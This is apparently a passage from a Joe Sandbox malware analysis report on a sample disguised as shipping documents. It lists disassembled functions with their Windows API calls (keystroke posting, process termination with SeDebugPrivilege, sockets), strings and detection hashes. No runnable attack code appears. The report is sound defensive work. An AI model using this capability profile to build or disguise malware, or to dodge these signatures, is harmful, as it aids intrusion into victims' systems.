                                                • Instruction ID: ef5c3d762bcaf42eee5c606433d59065a7b8cca32175822aa8c815d7271f9c23
                                                • Opcode Fuzzy Hash: eb051e8ea3712096792a699ee470fe42a039a523889eb82ddc9a593c9ff975a3
                                                • Instruction Fuzzy Hash: 9C5176B25083499BC724DBA4D881EDFB3ECAF85750F40492EF289D3191EF35A588C766
                                                Function 009F966E Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009FA82C: GetWindowThreadProcessId.USER32(?,00000000), ref: 009FA84C
                                                  • Part of subcall function 009FA82C: GetCurrentThreadId.KERNEL32 ref: 009FA853
                                                  • Part of subcall function 009FA82C: AttachThreadInput.USER32(00000000,?,009F9683,?,00000001), ref: 009FA85A
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F968E
                                                • PostMessageW.USER32(?,00000100,00000025,00000000), ref: 009F96AB
                                                • Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 009F96AE
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F96B7
                                                • PostMessageW.USER32(?,00000100,00000027,00000000), ref: 009F96D5
                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 009F96D8
                                                • MapVirtualKeyW.USER32(00000025,00000000), ref: 009F96E1
                                                • PostMessageW.USER32(?,00000101,00000027,00000000), ref: 009F96F8
                                                • Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 009F96FB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
                                                • String ID:
                                                • API String ID: 2014098862-0
                                                • Opcode ID: 66b515e19933c76c669b635940b0c09efefd3bcccdcabbd541b8666d3c24e0e2
                                                • Instruction ID: 56282793fe2c15cad9afb7621ba1419b016e02bc11d5b14731134bd6cc888718
                                                • Opcode Fuzzy Hash: 66b515e19933c76c669b635940b0c09efefd3bcccdcabbd541b8666d3c24e0e2
                                                • Instruction Fuzzy Hash: 2C11E5B1910218BEF620AFA4DC49F7A3B2DDB4C791F500435F344AB0A0CAF25C12DBA4
                                                Function 009F8921 Relevance: 13.5, APIs: 9, Instructions: 49memorythreadCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetProcessHeap.KERNEL32(00000008,0000000C,00000000,00000000,?,009F853C,00000B00,?,?), ref: 009F892A
                                                • HeapAlloc.KERNEL32(00000000,?,009F853C,00000B00,?,?), ref: 009F8931
                                                • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,?,009F853C,00000B00,?,?), ref: 009F8946
                                                • GetCurrentProcess.KERNEL32(?,00000000,?,009F853C,00000B00,?,?), ref: 009F894E
                                                • DuplicateHandle.KERNEL32(00000000,?,009F853C,00000B00,?,?), ref: 009F8951
                                                • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,009F853C,00000B00,?,?), ref: 009F8961
                                                • GetCurrentProcess.KERNEL32(009F853C,00000000,?,009F853C,00000B00,?,?), ref: 009F8969
                                                • DuplicateHandle.KERNEL32(00000000,?,009F853C,00000B00,?,?), ref: 009F896C
                                                • CreateThread.KERNEL32(00000000,00000000,009F8992,00000000,00000000,00000000), ref: 009F8986
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                • String ID:
                                                • API String ID: 1957940570-0
                                                • Opcode ID: 8fef2c7cc1688be6ce89aac8e29758d272a946d7d7e08bbdd568229ec83cf36b
                                                • Instruction ID: 5f8fd71f023c2aa887e1bb4b2b6928ac5aa3106b335ddf2f5e0050eef963010c
                                                • Opcode Fuzzy Hash: 8fef2c7cc1688be6ce89aac8e29758d272a946d7d7e08bbdd568229ec83cf36b
                                                • Instruction Fuzzy Hash: AB01AC75640308FFE620EBA9DD4AF673B6CEB89711F404531FB05DB191CA7098128B20
                                                Function 00A19B23 Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID: NULL Pointer assignment$Not an Object type
                                                • API String ID: 0-572801152
                                                • Opcode ID: 40f5e1b60c42bfeaaa83e98489ad2133278cf95434632e9d9d8aa78b17ca99d4
                                                • Instruction ID: 8ce31b6e0f816a08d7d42605c2125d14de7e34440ec45a0f7a01b083ad1640f7
                                                • Opcode Fuzzy Hash: 40f5e1b60c42bfeaaa83e98489ad2133278cf95434632e9d9d8aa78b17ca99d4
                                                • Instruction Fuzzy Hash: 7CC17071A00319AFDF10DFA8D994BEFB7F5BB48354F148469E905AB280E770AD85CB90
                                                Function 00A19113 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 263COMMON
                                                Download Yara Rule
                                                APIs
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Variant$ClearInit$_memset
                                                • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop
                                                • API String ID: 2862541840-625585964
                                                • Opcode ID: 0059061853223cef738d706a7beead855a467f4663ef2bbc4beb0e6be2384f13
                                                • Instruction ID: c8ab0c2829bf335e3860e0e2785a1f9dd55603fc99628f82ad029f24119f87e3
                                                • Opcode Fuzzy Hash: 0059061853223cef738d706a7beead855a467f4663ef2bbc4beb0e6be2384f13
                                                • Instruction Fuzzy Hash: DB915C71A00219ABDF24DFA5C858FEFB7B8EF85710F10855DF915AB280D770A985CBA0
                                                Function 00A1975D Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 242COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009F710A: CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?,?,009F7455), ref: 009F7127
                                                  • Part of subcall function 009F710A: ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?), ref: 009F7142
                                                  • Part of subcall function 009F710A: lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?,?), ref: 009F7150
                                                  • Part of subcall function 009F710A: CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,009F7044,80070057,?), ref: 009F7160
                                                • CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000002,00000003,00000000,00000000,00000000,?,?,?), ref: 00A19806
                                                • _memset.LIBCMT ref: 00A19813
                                                • _memset.LIBCMT ref: 00A19956
                                                • CoCreateInstanceEx.OLE32(?,00000000,00000015,?,00000001,00000000), ref: 00A19982
                                                • CoTaskMemFree.OLE32(?), ref: 00A1998D
                                                Strings
                                                • NULL Pointer assignment, xrefs: 00A199DB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: FreeFromProgTask_memset$CreateInitializeInstanceSecuritylstrcmpi
                                                • String ID: NULL Pointer assignment
                                                • API String ID: 1300414916-2785691316
                                                • Opcode ID: 85c2632836894edfa02095e482aef645836315f0af09ac191672b71917f916cc
                                                • Instruction ID: fdd5c86bd5b9eb6d7d559d1825d109d8d51cc116f7771b2ae52717c4e15e72a5
                                                • Opcode Fuzzy Hash: 85c2632836894edfa02095e482aef645836315f0af09ac191672b71917f916cc
                                                • Instruction Fuzzy Hash: 0F914871D00228EBDB10DFA4DC51EDEBBB9BF49350F10416AF519A7291DB31AA45CFA0
                                                Function 00A1E933 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 00A03C55: CreateToolhelp32Snapshot.KERNEL32 ref: 00A03C7A
                                                  • Part of subcall function 00A03C55: Process32FirstW.KERNEL32(00000000,?), ref: 00A03C88
                                                  • Part of subcall function 00A03C55: CloseHandle.KERNEL32(00000000), ref: 00A03D52
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A1E9A4
                                                • GetLastError.KERNEL32 ref: 00A1E9B7
                                                • OpenProcess.KERNEL32(00000001,00000000,?), ref: 00A1E9E6
                                                • TerminateProcess.KERNEL32(00000000,00000000), ref: 00A1EA63
                                                • GetLastError.KERNEL32(00000000), ref: 00A1EA6E
                                                • CloseHandle.KERNEL32(00000000), ref: 00A1EAA3
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Process$CloseErrorHandleLastOpen$CreateFirstProcess32SnapshotTerminateToolhelp32
                                                • String ID: SeDebugPrivilege
                                                • API String ID: 2533919879-2896544425
                                                • Opcode ID: 326fd04e7f87099d00c256c3c12bed3259d1ff5ea6462eb9d6ae19f70be700cc
                                                • Instruction ID: 3ee9ca74b39ed5ca915303aa8d4f0612e6f37a68a1d9e1a00b72c8e49c29883d
                                                • Opcode Fuzzy Hash: 326fd04e7f87099d00c256c3c12bed3259d1ff5ea6462eb9d6ae19f70be700cc
                                                • Instruction Fuzzy Hash: A041AC712002059FDB24EF58CCA5FBEB7A5BF85350F088568FA029F2D2CB74A845CB91
                                                Function 00A2B69E Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(00A657B0,00000000,010DD298,?,?,00A657B0,?,00A2B5A8,?,?), ref: 00A2B712
                                                • EnableWindow.USER32(00000000,00000000), ref: 00A2B736
                                                • ShowWindow.USER32(00A657B0,00000000,010DD298,?,?,00A657B0,?,00A2B5A8,?,?), ref: 00A2B796
                                                • ShowWindow.USER32(00000000,00000004,?,00A2B5A8,?,?), ref: 00A2B7A8
                                                • EnableWindow.USER32(00000000,00000001), ref: 00A2B7CC
                                                • SendMessageW.USER32(?,0000130C,?,00000000), ref: 00A2B7EF
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Window$Show$Enable$MessageSend
                                                • String ID: @U=u
                                                • API String ID: 642888154-2594219639
                                                • Opcode ID: 804e7a23cfd623b9c1ad601f3f38121798ce7ca49c20d55385497aea0a24285e
                                                • Instruction ID: e11b85f0b2dcd37e03c851e4ed30da8fee3983c78f40792aed815b5a08285a65
                                                • Opcode Fuzzy Hash: 804e7a23cfd623b9c1ad601f3f38121798ce7ca49c20d55385497aea0a24285e
                                                • Instruction Fuzzy Hash: 2B417F34602251AFDB26CF2CE499BA57BF1FF45310F1841B9E9489F6A2C731E856CB60
                                                Function 00A02F94 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 82windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • LoadIconW.USER32(00000000,00007F03), ref: 00A03033
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: IconLoad
                                                • String ID: blank$info$question$stop$warning
                                                • API String ID: 2457776203-404129466
                                                • Opcode ID: 1fbba20e776274fc6046c77bfbbcc6428e9366bdf392f635f4634982822b1dec
                                                • Instruction ID: 73b1fa962c90bf4ab8abb06aaf6aaa9b44081b09affa0f28cf690afa97523f61
                                                • Opcode Fuzzy Hash: 1fbba20e776274fc6046c77bfbbcc6428e9366bdf392f635f4634982822b1dec
                                                • Instruction Fuzzy Hash: 88112B36B4A34ABEEB159F58EC42E6B77BCAF15360B20042AF900B61C1EB745F4456A1
                                                Function 00A042F8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47windowCOMMON
                                                Download Yara Rule
                                                APIs
                                                • GetModuleHandleW.KERNEL32(00000000,?,?,00000100,00000000), ref: 00A04312
                                                • LoadStringW.USER32(00000000), ref: 00A04319
                                                • GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00A0432F
                                                • LoadStringW.USER32(00000000), ref: 00A04336
                                                • _wprintf.LIBCMT ref: 00A0435C
                                                • MessageBoxW.USER32(00000000,?,?,00011010), ref: 00A0437A
                                                Strings
                                                • %s (%d) : ==> %s: %s %s, xrefs: 00A04357
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: HandleLoadModuleString$Message_wprintf
                                                • String ID: %s (%d) : ==> %s: %s %s
                                                • API String ID: 3648134473-3128320259
                                                • Opcode ID: dd63bd3e07b27052b7757a88ffe10e91c26a199a9caaf150153be150802b9207
                                                • Instruction ID: a6f72c142238ec2c2a26dd2289753cad4ac6666ad81137522f552c3036fb48ee
                                                • Opcode Fuzzy Hash: dd63bd3e07b27052b7757a88ffe10e91c26a199a9caaf150153be150802b9207
                                                • Instruction Fuzzy Hash: A4017CF2800208BFE720D7A4ED89EFA767CEB08300F4005B5BB49E6051EA345E864B71
                                                Function 009A2A5B Relevance: 12.1, APIs: 8, Instructions: 129COMMON
                                                Download Yara Rule
                                                APIs
                                                • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,009DC1C7,00000004,00000000,00000000,00000000), ref: 009A2ACF
                                                • ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,009DC1C7,00000004,00000000,00000000,00000000,000000FF), ref: 009A2B17
                                                • ShowWindow.USER32(FFFFFFFF,00000006,00000000,00000000,?,009DC1C7,00000004,00000000,00000000,00000000), ref: 009DC21A
                                                • ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,009DC1C7,00000004,00000000,00000000,00000000), ref: 009DC286
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ShowWindow
                                                • String ID:
                                                • API String ID: 1268545403-0
                                                • Opcode ID: fb19592a29fab2d654eb1c4c34e894a182c640a58dac09f1319f0c270ebbdcd3
                                                • Instruction ID: 8238a9f771cb434217ab57335492b252976586ffeed2852a446bf5515156835a
                                                • Opcode Fuzzy Hash: fb19592a29fab2d654eb1c4c34e894a182c640a58dac09f1319f0c270ebbdcd3
                                                • Instruction Fuzzy Hash: 57412E316086819FCB358BAC9D88B7B7BAAAF87314F14CC2EF157465E0C674D842D790
                                                Function 00A070C6 Relevance: 12.1, APIs: 8, Instructions: 101fileCOMMON
                                                Download Yara Rule
                                                APIs
                                                • InterlockedExchange.KERNEL32(?,000001F5), ref: 00A070DD
                                                  • Part of subcall function 009C0DB6: std::exception::exception.LIBCMT ref: 009C0DEC
                                                  • Part of subcall function 009C0DB6: __CxxThrowException@8.LIBCMT ref: 009C0E01
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00A07114
                                                • EnterCriticalSection.KERNEL32(?), ref: 00A07130
                                                • _memmove.LIBCMT ref: 00A0717E
                                                • _memmove.LIBCMT ref: 00A0719B
                                                • LeaveCriticalSection.KERNEL32(?), ref: 00A071AA
                                                • ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 00A071BF
                                                • InterlockedExchange.KERNEL32(?,000001F6), ref: 00A071DE
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: CriticalExchangeFileInterlockedReadSection_memmove$EnterException@8LeaveThrowstd::exception::exception
                                                • String ID:
                                                • API String ID: 256516436-0
                                                • Opcode ID: 75d3c914f45f2cea97362bea1fb6d33ba21e416787288eb85f3a79d519998492
                                                • Instruction ID: a86254ec7c7c7abd7caa98c9a9f145283ef2ff19a085d7b3db4ea4edb2e02f68
                                                • Opcode Fuzzy Hash: 75d3c914f45f2cea97362bea1fb6d33ba21e416787288eb85f3a79d519998492
                                                • Instruction Fuzzy Hash: E6313A71D00205EBCB10DFA8DD85EAEB778EF85710F1441B9F904AB296DB30AA11CBA1
                                                Function 009FBBAF Relevance: 12.1, APIs: 8, Instructions: 92COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memcmp
                                                • String ID:
                                                • API String ID: 2931989736-0
                                                • Opcode ID: 80a8cbe13d5a357955fdc348d9bcc6013b5828e48b6d8305ca6711e1a2d02d60
                                                • Instruction ID: 1d9b44225c11c1cc10291d73e0373a4e31fce41b071699f5512533dc4bed7109
                                                • Opcode Fuzzy Hash: 80a8cbe13d5a357955fdc348d9bcc6013b5828e48b6d8305ca6711e1a2d02d60
                                                • Instruction Fuzzy Hash: 3921D171A0120D7BB2086E15DD42FFBB75DAE563C8F084825FF0896643EB28DE1183A6
                                                Function 00A0EB23 Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 323COMMON
                                                Download Yara Rule
                                                APIs
                                                  • Part of subcall function 009A9837: __itow.LIBCMT ref: 009A9862
                                                  • Part of subcall function 009A9837: __swprintf.LIBCMT ref: 009A98AC
                                                  • Part of subcall function 009BFC86: _wcscpy.LIBCMT ref: 009BFCA9
                                                • _wcstok.LIBCMT ref: 00A0EC94
                                                • _wcscpy.LIBCMT ref: 00A0ED23
                                                • _memset.LIBCMT ref: 00A0ED56
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _wcscpy$__itow__swprintf_memset_wcstok
                                                • String ID: X
                                                • API String ID: 774024439-3081909835
                                                • Opcode ID: 2ca2688938898cddbc8e52c82878d544a256552b733212d1fa9a4de4a92acbb6
                                                • Instruction ID: 00d6057b1cdb6f9cd7dae90a769c10f8daf3b1c08cff678045a05932b6031e34
                                                • Opcode Fuzzy Hash: 2ca2688938898cddbc8e52c82878d544a256552b733212d1fa9a4de4a92acbb6
                                                • Instruction Fuzzy Hash: 7CC16C716083059FC764EF64D881B6AB7E4FF86310F04492DF8999B2A2DB30EC45DB92
                                                Function 00A16B03 Relevance: 10.8, APIs: 7, Instructions: 250networkCOMMON
                                                Download Yara Rule
                                                APIs
                                                • __WSAFDIsSet.WSOCK32(00000000,?,00000000,00000000,?,00000064,00000000), ref: 00A16C00
                                                • #17.WSOCK32(00000000,?,?,00000000,?,00000010), ref: 00A16C21
                                                • WSAGetLastError.WSOCK32(00000000), ref: 00A16C34
                                                • htons.WSOCK32(?,?,?,00000000,?), ref: 00A16CEA
                                                • inet_ntoa.WSOCK32(?), ref: 00A16CA7
                                                  • Part of subcall function 009FA7E9: _strlen.LIBCMT ref: 009FA7F3
                                                  • Part of subcall function 009FA7E9: _memmove.LIBCMT ref: 009FA815
                                                • _strlen.LIBCMT ref: 00A16D44
                                                • _memmove.LIBCMT ref: 00A16DAD
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1380708049.00000000009A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 009A0000, based on PE: true
                                                • Associated: 00000000.00000002.1380692781.00000000009A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A2F000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380754099.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380799053.0000000000A5E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1380814591.0000000000A67000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_9a0000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove_strlen$ErrorLasthtonsinet_ntoa
                                                • String ID:
                                                • API String ID: 3619996494-0
                                                • Opcode ID: 3405ffc0b9995c48f752995ffc195c55a97ba03654dc5cf987b0a312cc864ef3
